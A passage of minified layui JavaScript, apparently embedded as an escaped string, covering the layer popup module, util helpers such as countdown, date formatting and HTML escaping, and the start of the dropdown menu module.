e=this,t=e.config;e.offset(),(/^\\d+%$/.test(t.area[0])||/^\\d+%$/.test(t.area[1]))&&e.auto(e.index),4==t.type&&e.tips()},t.pt.auto=function(e){var t=this.config,i=m(\"#\"+d[0]+e),n=(\"\"===t.area[0]&&0<t.maxWidth&&(h.ie&&h.ie<8&&t.btn&&i.width(i.innerWidth()),i.outerWidth()>t.maxWidth&&i.width(t.maxWidth)),[i.innerWidth(),i.innerHeight()]),a=i.find(d[1]).outerHeight()||0,o=i.find(\".\"+d[6]).outerHeight()||0,e=function(e){(e=i.find(e)).height(n[1]-a-o-2*(0|parseFloat(e.css(\"padding-top\"))))};return 2===t.type?e(\"iframe\"):\"\"===t.area[1]?0<t.maxHeight&&i.outerHeight()>t.maxHeight?(n[1]=t.maxHeight,e(\".\"+d[5])):t.fixed&&n[1]>=c.height()&&(n[1]=c.height(),e(\".\"+d[5])):e(\".\"+d[5]),this},t.pt.offset=function(){var e=this,t=e.config,i=e.layero,n=[i.outerWidth(),i.outerHeight()],a=\"object\"==typeof t.offset;e.offsetTop=(c.height()-n[1])/2,e.offsetLeft=(c.width()-n[0])/2,a?(e.offsetTop=t.offset[0],e.offsetLeft=t.offset[1]||e.offsetLeft):\"auto\"!==t.offset&&(\"t\"===t.offset?e.offsetTop=0:\"r\"===t.offset?e.offsetLeft=c.width()-n[0]:\"b\"===t.offset?e.offsetTop=c.height()-n[1]:\"l\"===t.offset?e.offsetLeft=0:\"lt\"===t.offset?(e.offsetTop=0,e.offsetLeft=0):\"lb\"===t.offset?(e.offsetTop=c.height()-n[1],e.offsetLeft=0):\"rt\"===t.offset?(e.offsetTop=0,e.offsetLeft=c.width()-n[0]):\"rb\"===t.offset?(e.offsetTop=c.height()-n[1],e.offsetLeft=c.width()-n[0]):e.offsetTop=t.offset),t.fixed||(e.offsetTop=/%$/.test(e.offsetTop)?c.height()*parseFloat(e.offsetTop)/100:parseFloat(e.offsetTop),e.offsetLeft=/%$/.test(e.offsetLeft)?c.width()*parseFloat(e.offsetLeft)/100:parseFloat(e.offsetLeft),e.offsetTop+=c.scrollTop(),e.offsetLeft+=c.scrollLeft()),\"min\"===i.data(\"maxminStatus\")&&(e.offsetTop=c.height()-(i.find(d[1]).outerHeight()||0),e.offsetLeft=i.css(\"left\")),i.css({top:e.offsetTop,left:e.offsetLeft})},t.pt.tips=function(){var e=this.config,t=this.layero,i=[t.outerWidth(),t.outerHeight()],n=m(e.follow),a={width:(n=n[0]?n:m(\"body\")).outerWidth(),height:n.outerHeight(),top:n.offset().top,left:n.offset().left},o=t.find(\".layui-layer-TipsG\"),n=e.tips[0];e.tips[1]||o.remove(),a.autoLeft=function(){0<a.left+i[0]-c.width()?(a.tipLeft=a.left+a.width-i[0],o.css({right:12,left:\"auto\"})):a.tipLeft=a.left},a.where=[function(){a.autoLeft(),a.tipTop=a.top-i[1]-10,o.removeClass(\"layui-layer-TipsB\").addClass(\"layui-layer-TipsT\").css(\"border-right-color\",e.tips[1])},function(){a.tipLeft=a.left+a.width+10,a.tipTop=a.top,o.removeClass(\"layui-layer-TipsL\").addClass(\"layui-layer-TipsR\").css(\"border-bottom-color\",e.tips[1])},function(){a.autoLeft(),a.tipTop=a.top+a.height+10,o.removeClass(\"layui-layer-TipsT\").addClass(\"layui-layer-TipsB\").css(\"border-right-color\",e.tips[1])},function(){a.tipLeft=a.left-i[0]-10,a.tipTop=a.top,o.removeClass(\"layui-layer-TipsR\").addClass(\"layui-layer-TipsL\").css(\"border-bottom-color\",e.tips[1])}],a.where[n-1](),1===n?a.top-(c.scrollTop()+i[1]+16)<0&&a.where[2]():2===n?0<c.width()-(a.left+a.width+i[0]+16)||a.where[3]():3===n?0<a.top-c.scrollTop()+a.height+i[1]+16-c.height()&&a.where[0]():4===n&&0<i[0]+16-a.left&&a.where[1](),t.find(\".\"+d[5]).css({\"background-color\":e.tips[1],\"padding-right\":e.closeBtn?\"30px\":\"\"}),t.css({left:a.tipLeft-(e.fixed?c.scrollLeft():0),top:a.tipTop-(e.fixed?c.scrollTop():0)})},t.pt.move=function(){var n=this,a=n.config,e=m(document),o=n.layero,r=[\"LAY_MOVE_DICT\",\"LAY_RESIZE_DICT\"],t=o.find(a.move),i=o.find(\".layui-layer-resize\");return a.move&&t.css(\"cursor\",\"move\"),t.on(\"mousedown\",function(e){var t,i;e.button||(t=m(this),i={},a.move&&(i.layero=o,i.config=a,i.offset=[e.clientX-parseFloat(o.css(\"left\")),e.clientY-parseFloat(o.css(\"top\"))],t.data(r[0],i),f.eventMoveElem=t,f.moveElem.css(\"cursor\",\"move\").show()),e.preventDefault())}),i.on(\"mousedown\",function(e){var t=m(this),i={};a.resize&&(i.layero=o,i.config=a,i.offset=[e.clientX,e.clientY],i.index=n.index,i.area=[o.outerWidth(),o.outerHeight()],t.data(r[1],i),f.eventResizeElem=t,f.moveElem.css(\"cursor\",\"se-resize\").show()),e.preventDefault()}),f.docEvent||(e.on(\"mousemove\",function(e){var t,i,n,a,o,s,l;f.eventMoveElem&&(t=(a=f.eventMoveElem.data(r[0])||{}).layero,o=a.config,s=e.clientX-a.offset[0],l=e.clientY-a.offset[1],i=\"fixed\"===t.css(\"position\"),e.preventDefault(),a.stX=i?0:c.scrollLeft(),a.stY=i?0:c.scrollTop(),o.moveOut||(i=c.width()-t.outerWidth()+a.stX,n=c.height()-t.outerHeight()+a.stY,i<(s=s<a.stX?a.stX:s)&&(s=i),n<(l=l<a.stY?a.stY:l)&&(l=n)),t.css({left:s,top:l})),f.eventResizeElem&&(o=(a=f.eventResizeElem.data(r[1])||{}).config,s=e.clientX-a.offset[0],l=e.clientY-a.offset[1],e.preventDefault(),h.style(a.index,{width:a.area[0]+s,height:a.area[1]+l}),o.resizing&&o.resizing(a.layero))}).on(\"mouseup\",function(e){var t,i;f.eventMoveElem&&(i=(t=f.eventMoveElem.data(r[0])||{}).config,f.eventMoveElem.removeData(r[0]),delete f.eventMoveElem,f.moveElem.hide(),i.moveEnd&&i.moveEnd(t.layero)),f.eventResizeElem&&(f.eventResizeElem.removeData(r[1]),delete f.eventResizeElem,f.moveElem.hide())}),f.docEvent=!0),n},t.pt.callback=function(){var t=this,i=t.layero,n=t.config;t.openLayer(),n.success&&(2==n.type?i.find(\"iframe\").on(\"load\",function(){n.success(i,t.index,t)}):n.success(i,t.index,t)),6==h.ie&&t.IE6(i),i.find(\".\"+d[6]).children(\"a\").on(\"click\",function(){var e=m(this).index();0===e?n.yes?n.yes(t.index,i,t):n.btn1?n.btn1(t.index,i,t):h.close(t.index):!1!==(n[\"btn\"+(e+1)]&&n[\"btn\"+(e+1)](t.index,i,t))&&h.close(t.index)}),i.find(\".\"+d[7]).on(\"click\",function(){!1!==(n.cancel&&n.cancel(t.index,i,t))&&h.close(t.index)}),n.shadeClose&&t.shadeo.on(\"click\",function(){h.close(t.index)}),i.find(\".layui-layer-min\").on(\"click\",function(){!1!==(n.min&&n.min(i,t.index,t))&&h.min(t.index,n)}),i.find(\".layui-layer-max\").on(\"click\",function(){m(this).hasClass(\"layui-layer-maxmin\")?(h.restore(t.index),n.restore&&n.restore(i,t.index,t)):(h.full(t.index,n),setTimeout(function(){n.full&&n.full(i,t.index,t)},100))}),n.end&&(f.end[t.index]=n.end)},f.reselect=function(){m.each(m(\"select\"),function(e,t){var i=m(this);i.parents(\".\"+d[0])[0]||1==i.attr(\"layer\")&&m(\".\"+d[0]).length<1&&i.removeAttr(\"layer\").show()})},t.pt.IE6=function(e){m(\"select\").each(function(e,t){var i=m(this);i.parents(\".\"+d[0])[0]||\"none\"!==i.css(\"display\")&&i.attr({layer:\"1\"}).hide()})},t.pt.openLayer=function(){h.zIndex=this.config.zIndex,h.setTop=function(e){return h.zIndex=parseInt(e[0].style.zIndex),e.on(\"mousedown\",function(){h.zIndex++,e.css(\"z-index\",h.zIndex+1)}),h.zIndex}},f.record=function(e){if(!e[0])return p.console&&console.error(\"index error\");var t=[e[0].style.width||e.width(),e[0].style.height||e.height(),e.position().top,e.position().left+parseFloat(e.css(\"margin-left\"))];e.find(\".layui-layer-max\").addClass(\"layui-layer-maxmin\"),e.attr({area:t})},f.rescollbar=function(e){d.html.attr(\"layer-full\")==e&&(d.html[0].style.removeProperty?d.html[0].style.removeProperty(\"overflow\"):d.html[0].style.removeAttribute(\"overflow\"),d.html.removeAttr(\"layer-full\"))},(p.layer=h).getChildFrame=function(e,t){return t=t||m(\".\"+d[4]).attr(\"times\"),m(\"#\"+d[0]+t).find(\"iframe\").contents().find(e)},h.getFrameIndex=function(e){return m(\"#\"+e).parents(\".\"+d[4]).attr(\"times\")},h.iframeAuto=function(e){var t,i,n;e&&(t=h.getChildFrame(\"html\",e).outerHeight(),i=(e=m(\"#\"+d[0]+e)).find(d[1]).outerHeight()||0,n=e.find(\".\"+d[6]).outerHeight()||0,e.css({height:t+i+n}),e.find(\"iframe\").css({height:t}))},h.iframeSrc=function(e,t){m(\"#\"+d[0]+e).find(\"iframe\").attr(\"src\",t)},h.style=function(e,t,i){var e=m(\"#\"+d[0]+e),n=e.find(\".layui-layer-content\"),a=e.attr(\"type\"),o=e.find(d[1]).outerHeight()||0,s=e.find(\".\"+d[6]).outerHeight()||0;e.attr(\"minLeft\");a!==f.type[3]&&a!==f.type[4]&&(i||(parseFloat(t.width)<=260&&(t.width=260),parseFloat(t.height)-o-s<=64&&(t.height=64+o+s)),e.css(t),s=e.find(\".\"+d[6]).outerHeight()||0,a===f.type[2]?e.find(\"iframe\").css({height:(\"number\"==typeof t.height?t.height:e.height())-o-s}):n.css({height:(\"number\"==typeof t.height?t.height:e.height())-o-s-parseFloat(n.css(\"padding-top\"))-parseFloat(n.css(\"padding-bottom\"))}))},h.min=function(e,t){t=t||{};var i,n,a,o,s,l=m(\"#\"+d[0]+e),r=l.data(\"maxminStatus\");\"min\"!==r&&(\"max\"===r&&h.restore(e),l.data(\"maxminStatus\",\"min\"),r=m(\"#\"+d.SHADE+e),i=l.find(d[1]).outerHeight()||0,a=(n=\"string\"==typeof(a=l.attr(\"minLeft\")))?a:181*f.minStackIndex+\"px\",o=l.css(\"position\"),s={width:180,height:i,position:\"fixed\",overflow:\"hidden\"},f.record(l),0<f.minStackArr.length&&(a=f.minStackArr[0],f.minStackArr.shift()),parseFloat(a)+180>c.width()&&(a=c.width()-180-(f.minStackArr.edgeIndex=f.minStackArr.edgeIndex||0,f.minStackArr.edgeIndex+=3))<0&&(a=0),t.minStack&&(s.left=a,s.top=c.height()-i,n||f.minStackIndex++,l.attr(\"minLeft\",a)),l.attr(\"position\",o),h.style(e,s,!0),l.find(\".layui-layer-min\").hide(),\"page\"===l.attr(\"type\")&&l.find(d[4]).hide(),f.rescollbar(e),r.hide())},h.restore=function(e){var t=m(\"#\"+d[0]+e),i=m(\"#\"+d.SHADE+e),n=t.attr(\"area\").split(\",\"),a=t.attr(\"type\");t.removeData(\"maxminStatus\"),h.style(e,{width:n[0],height:n[1],top:parseFloat(n[2]),left:parseFloat(n[3]),position:t.attr(\"position\"),overflow:\"visible\"},!0),t.find(\".layui-layer-max\").removeClass(\"layui-layer-maxmin\"),t.find(\".layui-layer-min\").show(),\"page\"===a&&t.find(d[4]).show(),f.rescollbar(e),i.show()},h.full=function(t){var i=m(\"#\"+d[0]+t),e=i.data(\"maxminStatus\");\"max\"!==e&&(\"min\"===e&&h.restore(t),i.data(\"maxminStatus\",\"max\"),f.record(i),d.html.attr(\"layer-full\")||d.html.css(\"overflow\",\"hidden\").attr(\"layer-full\",t),clearTimeout(void 0),setTimeout(function(){var e=\"fixed\"===i.css(\"position\");h.style(t,{top:e?0:c.scrollTop(),left:e?0:c.scrollLeft(),width:\"100%\",height:\"100%\"},!0),i.find(\".layui-layer-min\").hide()},100))},h.title=function(e,t){m(\"#\"+d[0]+(t||h.index)).find(d[1]).html(e)},h.close=function(a,o){var s,e,l=(t=m(\".\"+d[0]).find(\"#\"+a).closest(\".\"+d[0]))[0]?(a=t.attr(\"times\"),t):m(\"#\"+d[0]+a),r=l.attr(\"type\"),t=l.data()||{},i={slideDown:\"layer-anim-slide-down-out\",slideLeft:\"layer-anim-slide-left-out\",slideUp:\"layer-anim-slide-up-out\",slideRight:\"layer-anim-slide-right-out\"}[t.anim]||\"layer-anim-close\";l[0]&&(s=\"layui-layer-wrap\",e=function(){if(r===f.type[1]&&\"object\"===l.attr(\"conType\")){l.children(\":not(.\"+d[5]+\")\").remove();for(var e=l.find(\".\"+s),t=0;t<2;t++)e.unwrap();e.css(\"display\",e.data(\"display\")).removeClass(s)}else{if(r===f.type[2])try{var i=m(\"#\"+d[4]+a)[0];i.contentWindow.document.write(\"\"),i.contentWindow.close(),l.find(\".\"+d[5])[0].removeChild(i)}catch(n){}l[0].innerHTML=\"\",l.remove()}\"function\"==typeof f.end[a]&&f.end[a](),delete f.end[a],\"function\"==typeof o&&o(),f.events.resize[a]&&(c.off(\"resize\",f.events.resize[a]),delete f.events.resize[a])},t.isOutAnim&&l.addClass(\"layer-anim \"+i),m(\"#layui-layer-moves, #\"+d.SHADE+a).remove(),6==h.ie&&f.reselect(),f.rescollbar(a),\"string\"==typeof l.attr(\"minLeft\")&&(f.minStackIndex--,f.minStackArr.push(l.attr(\"minLeft\"))),h.ie&&h.ie<10||!l.data(\"isOutAnim\")?e():setTimeout(function(){e()},200))},h.closeAll=function(n,a){\"function\"==typeof n&&(a=n,n=null);var o=m(\".\"+d[0]);m.each(o,function(e){var t=m(this),i=n?t.attr(\"type\")===n:1;i&&h.close(t.attr(\"times\"),e===o.length-1?a:null)}),0===o.length&&\"function\"==typeof a&&a()},h.closeLast=function(e){h.close(m(\".layui-layer-\"+(e=e||\"page\")+\":last\").attr(\"times\"))},h.cache||{}),g=function(e){return i.skin?\" \"+i.skin+\" \"+i.skin+\"-\"+e:\"\"};h.prompt=function(i,n){var e=\"\",t=\"\";\"function\"==typeof(i=i||{})&&(n=i),i.area&&(e='style=\"width: '+(o=i.area)[0]+\"; height: \"+o[1]+';\"',delete i.area),i.placeholder&&(t=' placeholder=\"'+i.placeholder+'\"');var a,o=2==i.formType?'<textarea class=\"layui-layer-input\"'+e+t+\"></textarea>\":'<input type=\"'+(1==i.formType?\"password\":\"text\")+'\" class=\"layui-layer-input\"'+t+\">\",s=i.success;return delete i.success,h.open(m.extend({type:1,btn:[\"&#x786E;&#x5B9A;\",\"&#x53D6;&#x6D88;\"],content:o,skin:\"layui-layer-prompt\"+g(\"prompt\"),maxWidth:c.width(),success:function(e){(a=e.find(\".layui-layer-input\")).val(i.value||\"\").focus(),\"function\"==typeof s&&s(e)},resize:!1,yes:function(e){var t=a.val();t.length>(i.maxlength||500)?h.tips(\"&#x6700;&#x591A;&#x8F93;&#x5165;\"+(i.maxlength||500)+\"&#x4E2A;&#x5B57;&#x6570;\",a,{tips:1}):n&&n(t,e,a)}},i))},h.tab=function(n){var a=(n=n||{}).tab||{},o=\"layui-this\",s=n.success;return delete n.success,h.open(m.extend({type:1,skin:\"layui-layer-tab\"+g(\"tab\"),resize:!1,title:function(){var e=a.length,t=1,i=\"\";if(0<e)for(i='<span class=\"'+o+'\">'+a[0].title+\"</span>\";t<e;t++)i+=\"<span>\"+a[t].title+\"</span>\";return i}(),content:'<ul class=\"layui-layer-tabmain\">'+function(){var e=a.length,t=1,i=\"\";if(0<e)for(i='<li class=\"layui-layer-tabli '+o+'\">'+(a[0].content||\"no content\")+\"</li>\";t<e;t++)i+='<li class=\"layui-layer-tabli\">'+(a[t].content||\"no  content\")+\"</li>\";return i}()+\"</ul>\",success:function(e){var t=e.find(\".layui-layer-title\").children(),i=e.find(\".layui-layer-tabmain\").children();t.on(\"mousedown\",function(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0;var e=m(this),t=e.index();e.addClass(o).siblings().removeClass(o),i.eq(t).show().siblings().hide(),\"function\"==typeof n.change&&n.change(t)}),\"function\"==typeof s&&s(e)}},n))},h.photos=function(n,e,a){var o={};if((n=n||{}).photos){var t=!(\"string\"==typeof n.photos||n.photos instanceof m),i=t?n.photos:{},s=i.data||[],l=i.start||0,r=(o.imgIndex=1+(0|l),n.img=n.img||\"img\",n.success);if(delete n.success,t){if(0===s.length)return h.msg(\"&#x6CA1;&#x6709;&#x56FE;&#x7247;\")}else{var c=m(n.photos),f=function(){s=[],c.find(n.img).each(function(e){var t=m(this);t.attr(\"layer-index\",e),s.push({alt:t.attr(\"alt\"),pid:t.attr(\"layer-pid\"),src:t.attr(\"lay-src\")||t.attr(\"layer-src\")||t.attr(\"src\"),thumb:t.attr(\"src\")})})};if(f(),0===s.length)return;if(e||c.on(\"click\",n.img,function(){f();var e=m(this).attr(\"layer-index\");h.photos(m.extend(n,{photos:{start:e,data:s,tab:n.tab},full:n.full}),!0)}),!e)return}o.imgprev=function(e){o.imgIndex--,o.imgIndex<1&&(o.imgIndex=s.length),o.tabimg(e)},o.imgnext=function(e,t){o.imgIndex++,o.imgIndex>s.length&&(o.imgIndex=1,t)||o.tabimg(e)},o.keyup=function(e){var t;o.end||(t=e.keyCode,e.preventDefault(),37===t?o.imgprev(!0):39===t?o.imgnext(!0):27===t&&h.close(o.index))},o.tabimg=function(e){if(!(s.length<=1))return i.start=o.imgIndex-1,h.close(o.index),h.photos(n,!0,e)},o.event=function(){o.bigimg.find(\".layui-layer-imgprev\").on(\"click\",function(e){e.preventDefault(),o.imgprev(!0)}),o.bigimg.find(\".layui-layer-imgnext\").on(\"click\",function(e){e.preventDefault(),o.imgnext(!0)}),m(document).on(\"keyup\",o.keyup)},o.loadi=h.load(1,{shade:!(\"shade\"in n)&&.9,scrollbar:!1});var t=s[l].src,d=function(e){h.close(o.loadi);var t,i=s[l].alt||\"\";a&&(n.anim=-1),o.index=h.open(m.extend({type:1,id:\"layui-layer-photos\",area:(e=[e.width,e.height],t=[m(p).width()-100,m(p).height()-100],!n.full&&(e[0]>t[0]||e[1]>t[1])&&((t=[e[0]/t[0],e[1]/t[1]])[1]<t[0]?(e[0]=e[0]/t[0],e[1]=e[1]/t[0]):t[0]<t[1]&&(e[0]=e[0]/t[1],e[1]=e[1]/t[1])),[e[0]+\"px\",e[1]+\"px\"]),title:!1,shade:.9,shadeClose:!0,closeBtn:!1,move:\".layui-layer-phimg img\",moveType:1,scrollbar:!1,moveOut:!0,anim:5,isOutAnim:!1,skin:\"layui-layer-photos\"+g(\"photos\"),content:'<div class=\"layui-layer-phimg\"><img src=\"'+s[l].src+'\" alt=\"'+i+'\" layer-pid=\"'+s[l].pid+'\">'+(t=['<div class=\"layui-layer-imgsee\">'],1<s.length&&t.push(['<div class=\"layui-layer-imguide\">','<span class=\"layui-icon layui-icon-left layui-layer-iconext layui-layer-imgprev\"></span>','<span class=\"layui-icon layui-icon-right layui-layer-iconext layui-layer-imgnext\"></span>',\"</div>\"].join(\"\")),n.hideFooter||t.push(['<div class=\"layui-layer-imgbar\">','<div class=\"layui-layer-imgtit\">',\"<h3>\"+i+\"</h3>\",\"<em>\"+o.imgIndex+\" / \"+s.length+\"</em>\",'<a href=\"'+s[l].src+'\" target=\"_blank\">\\u67e5\\u770b\\u539f\\u56fe</a>',\"</div>\",\"</div>\"].join(\"\")),t.push(\"</div>\"),t.join(\"\"))+\"</div>\",success:function(e,t){o.bigimg=e.find(\".layui-layer-phimg\"),o.imgsee=e.find(\".layui-layer-imgbar\"),o.event(e),n.tab&&n.tab(s[l],e),\"function\"==typeof r&&r(e)},end:function(){o.end=!0,m(document).off(\"keyup\",o.keyup)}},n))},u=function(){h.close(o.loadi),h.msg(\"&#x5F53;&#x524D;&#x56FE;&#x7247;&#x5730;&#x5740;&#x5F02;&#x5E38;<br>&#x662F;&#x5426;&#x7EE7;&#x7EED;&#x67E5;&#x770B;&#x4E0B;&#x4E00;&#x5F20;&#xFF1F;\",{time:3e4,btn:[\"&#x4E0B;&#x4E00;&#x5F20;\",\"&#x4E0D;&#x770B;&#x4E86;\"],yes:function(){1<s.length&&o.imgnext(!0,!0)}})},y=new Image;(y.src=t,y.complete)?d(y):(y.onload=function(){y.onload=null,d(y)},y.onerror=function(e){y.onerror=null,u(e)})}},f.run=function(e){c=(m=e)(p),d.html=m(\"html\"),h.open=function(e){return new t(e).index}},p.layui&&layui.define?(h.ready(),layui.define(\"jquery\",function(e){h.path=layui.cache.dir,f.run(layui.$),e(\"layer\",p.layer=h)})):\"function\"==typeof define&&define.amd?define([\"jquery\"],function(){return f.run(p.jQuery),h}):(h.ready(),f.run(p.jQuery))}(window);layui.define(\"jquery\",function(e){\"use strict\";var s=layui.$,a=layui.hint(),o={fixbar:function(i){var o,e,t,n,a=\"layui-fixbar\",r=s(document),l=(i=s.extend(!0,{target:\"body\",bars:[],\"default\":!0,margin:160,duration:320},i),s(i.target)),c=i.scroll?s(i.scroll):s(\"body\"===i.target?r:l),u=(i[\"default\"]&&(i.bar1&&i.bars.push({type:\"bar1\",icon:\"layui-icon-chat\"}),i.bar2&&i.bars.push({type:\"bar2\",icon:\"layui-icon-help\"}),i.bars.push({type:\"top\",icon:\"layui-icon-top\"})),s(\"<ul>\").addClass(a));layui.each(i.bars,function(e,t){var n=s('<li class=\"layui-icon\">');n.addClass(t.icon).attr({\"lay-type\":t.type,style:t.style||\"background-color: \"+i.bgcolor}).html(t.content),n.on(\"click\",function(){var e=s(this).attr(\"lay-type\");\"top\"===e&&(\"body\"===i.target?s(\"html,body\"):c).animate({scrollTop:0},i.duration),\"function\"==typeof i.click&&i.click.call(this,e)}),\"object\"===layui.type(i.on)&&layui.each(i.on,function(e,t){n.on(e,function(){var e=s(this).attr(\"lay-type\");\"function\"==typeof t&&t.call(this,e)})}),\"top\"===t.type&&(n.addClass(\"layui-fixbar-top\"),o=n),u.append(n)}),l.find(\".\"+a).remove(),\"object\"==typeof i.css&&u.css(i.css),l.append(u),o&&(t=function t(){return c.scrollTop()>=i.margin?e||(o.show(),e=1):e&&(o.hide(),e=0),t}()),c.on(\"scroll\",function(){t&&(clearTimeout(n),n=setTimeout(function(){t()},100))})},countdown:function(e,t,n){var i=this,o=\"function\"==typeof t,a=new Date(e).getTime(),r=new Date(!t||o?(new Date).getTime():t).getTime(),a=a-r,l=[Math.floor(a/864e5),Math.floor(a/36e5)%24,Math.floor(a/6e4)%60,Math.floor(a/1e3)%60],o=(o&&(n=t),setTimeout(function(){i.countdown(e,r+1e3,n)},1e3));return n&&n(0<a?l:[0,0,0,0],t,o),a<=0&&clearTimeout(o),o},timeAgo:function(e,t){var n=this,i=[[],[]],o=(new Date).getTime()-new Date(e).getTime();return 26784e5<o?(o=new Date(e),i[0][0]=n.digit(o.getFullYear(),4),i[0][1]=n.digit(o.getMonth()+1),i[0][2]=n.digit(o.getDate()),t||(i[1][0]=n.digit(o.getHours()),i[1][1]=n.digit(o.getMinutes()),i[1][2]=n.digit(o.getSeconds())),i[0].join(\"-\")+\" \"+i[1].join(\":\")):864e5<=o?(o/1e3/60/60/24|0)+\" \\u5929\\u524d\":36e5<=o?(o/1e3/60/60|0)+\" \\u5c0f\\u65f6\\u524d\":18e4<=o?(o/1e3/60|0)+\" \\u5206\\u949f\\u524d\":o<0?\"\\u672a\\u6765\":\"\\u521a\\u521a\"},digit:function(e,t){var n=\"\";t=t||2;for(var i=(e=String(e)).length;i<t;i++)n+=\"0\";return e<Math.pow(10,t)?n+(0|e):e},toDateString:function(e,t){if(null===e||\"\"===e)return\"\";var n=this,i=new Date(function(){if(e)return!isNaN(e)&&\"string\"==typeof e?parseInt(e):e}()||new Date),o=[n.digit(i.getFullYear(),4),n.digit(i.getMonth()+1),n.digit(i.getDate())],n=[n.digit(i.getHours()),n.digit(i.getMinutes()),n.digit(i.getSeconds())];return i.getDate()?(t=t||\"yyyy-MM-dd HH:mm:ss\").replace(/yyyy/g,o[0]).replace(/MM/g,o[1]).replace(/dd/g,o[2]).replace(/HH/g,n[0]).replace(/mm/g,n[1]).replace(/ss/g,n[2]):(a.error('Invalid Msec for \"util.toDateString(Msec)\"'),\"\")},escape:function(e){return e===undefined||null===e?\"\":/[<\"'>]|&(?=#[a-zA-Z0-9]+)/g.test(e+=\"\")?e.replace(/&(?!#?[a-zA-Z0-9]+;)/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\").replace(/'/g,\"&#39;\").replace(/\"/g,\"&quot;\"):e},unescape:function(e){return e!==undefined&&null!==e||(e=\"\"),(e+=\"\").replace(/\\&amp;/g,\"&\").replace(/\\&lt;/g,\"<\").replace(/\\&gt;/g,\">\").replace(/\\&#39;/g,\"'\").replace(/\\&quot;/g,'\"')},openWin:function(e){var t=(e=e||{}).window||window.open(e.url||\"\",e.target,e.specs);e.url||(t.document.open(\"text/html\",\"replace\"),t.document.write(e.content||\"\"),t.document.close())},toVisibleArea:function(e){var t,n,i,o,a,r,l,c;(e=s.extend({margin:160,duration:200,type:\"y\"},e)).scrollElem[0]&&e.thisElem[0]&&(t=e.scrollElem,l=e.thisElem,i=(a=\"y\"===e.type)?\"top\":\"left\",o=t[n=a?\"scrollTop\":\"scrollLeft\"](),a=t[a?\"height\":\"width\"](),r=t.offset()[i],c={},((l=l.offset()[i]-r)>a-e.margin||l<e.margin)&&(c[n]=l-a/2+o,t.animate(c,e.duration)))},event:function(n,i,e){var t=s(\"body\");return e=e||\"click\",i=o.event[n]=s.extend(!0,o.event[n],i)||{},o.event.UTIL_EVENT_CALLBACK=o.event.UTIL_EVENT_CALLBACK||{},t.off(e,\"*[\"+n+\"]\",o.event.UTIL_EVENT_CALLBACK[n]),o.event.UTIL_EVENT_CALLBACK[n]=function(){var e=s(this),t=e.attr(n);\"function\"==typeof i[t]&&i[t].call(this,e)},t.on(e,\"*[\"+n+\"]\",o.event.UTIL_EVENT_CALLBACK[n]),i}};o.on=o.event,e(\"util\",o)});layui.define([\"jquery\",\"laytpl\",\"lay\"],function(e){\"use strict\";var n,i,t,s=layui.$,c=layui.laytpl,a=layui.hint(),o=layui.device().mobile?\"touchstart\":\"mousedown\",r=\"dropdown\",m=\"layui_\"+r+\"_index\",p={config:{},index:layui[r]?layui[r].index+1e4:0,set:function(e){var i=this;return i.config=s.extend({},i.config,e),i},on:function(e,i){return layui.onevent.call(this,r,e,i)}},y=function(){var i=this,e=i.config,t=e.id;return y.that[t]=i,{config:e,reload:function(e){i.reload.call(i,e)},reloadData:function(e){p.reloadData(t,e)},close:function(){i.remove()}}},f=\"layui-dropdown\",l=\"layui-menu-item-up\",d=\"layui-menu-item-down\",h=\"layui-menu-body-title\",u=\"layui-menu-item-group\",g=\"layui-menu-item-parent\",v=\"layui-menu-item-checked\",w=\"layui-menu-item-checked2\",C=\"layui-menu-body-panel\",V=\"layui-menu-body-panel-left\",x=\"layui-dropdown-shade\",b=\".\"+u+\">.\"+h,k=function(e){var i=this;i.index=++p.index,i.config=s.extend({},i.config,p.config,e),i.init()};k.prototype.config={trigger:\"click\",content:\"\",className:\"\",style:\"\",show:!1,isAllowSpread:!0,isSpreadItem:!0,data:[],delay:300,shade:0},k.prototype.reload=function(e,i){var t=this;t.config=s.extend({},t.config,e),t.init(!0,i)},k.prototype.init=function(e,i){var t,n=this,a=n.config,l=s(a.elem);return 1<l.length?(layui.each(l,function(){p.render(s.extend({},a,{elem:this}))}),n):(s.extend(a,lay.options(l[0])),!e&&l[0]&&l.data(m)?(t=y.getThis(l.data(m)))?t.reload(a,i):void 0:(a.elem=s(a.elem),a.id=\"id\"in a?a.id:l.attr(\"id\")||n.index,(a.show||\"reloadData\"===i&&n.elemView&&s(\"body\").find(n.elemView.get(0)).length)&&n.render(e,i),void n.events()))},k.prototype.render=function(e,i){var l=this,d=l.config,t=s(\"body\"),n=function(){var e=s('<ul class=\"layui-menu layui-dropdown-menu\"></ul>');return 0<d.data.length?u(e,d.data):e.html('<li class=\"layui-menu-item-none\">No data</li>'),e},u=function(r,e){return layui.each(e,function(e,i){var t,n=i.child&&0<i.child.length,a=(\"isSpreadItem\"in i?i:d).isSpreadItem,l=(o=i.title,l=i.templet||d.templet,o=l?\"function\"==typeof l?l(i):c(l).render(i):o),o=(n&&(i.type=i.type||\"parent\"),i.type?{group:\"group\",parent:\"parent\",\"-\":\"-\"}[i.type]||\"parent\":\"\");(\"-\"===o||i.title||i.id||n)&&((l=s([\"<li\"+(t={group:\"layui-menu-item-group\"+(d.isAllowSpread?a?\" layui-menu-item-down\":\" layui-menu-item-up\":\"\"),parent:g,\"-\":\"layui-menu-item-divider\"},n||o?' class=\"'+t[o]+'\"':i.disabled?' class=\"layui-disabled\"':\"\")+\">\",(t=\"href\"in i?'<a href=\"'+i.href+'\" target=\"'+(i.target||\"_self\")+'\">'+l+\"</a>\":l,n?'<div class=\"'+h+'\">'+t+(\"parent\"===o?'<i class=\"layui-icon layui-icon-right\"></i>':\"group\"===o&&d.isAllowSpread?'<i class=\"layui-icon layui-icon-'+(a?\"up\":\"down\")+'\"></i>':\"\")+\"</div>\":'<div class=\"'+h+'\">'+t+\"</div>\"),\"</li>\"].join(\"\"))).data(\"item\",i),n&&(a=s('<div class=\"layui-panel layui-menu-body-panel\"></div>'),t=s(\"<ul></ul>\"),\"parent\"===o?(a.append(u(t,i.child)),l.append(a)):l.append(u(t,i.child))),r.append(l))}),r},a=['<div class=\"layui-dropdown layui-border-box layui-panel layui-anim layui-anim-downbit\" 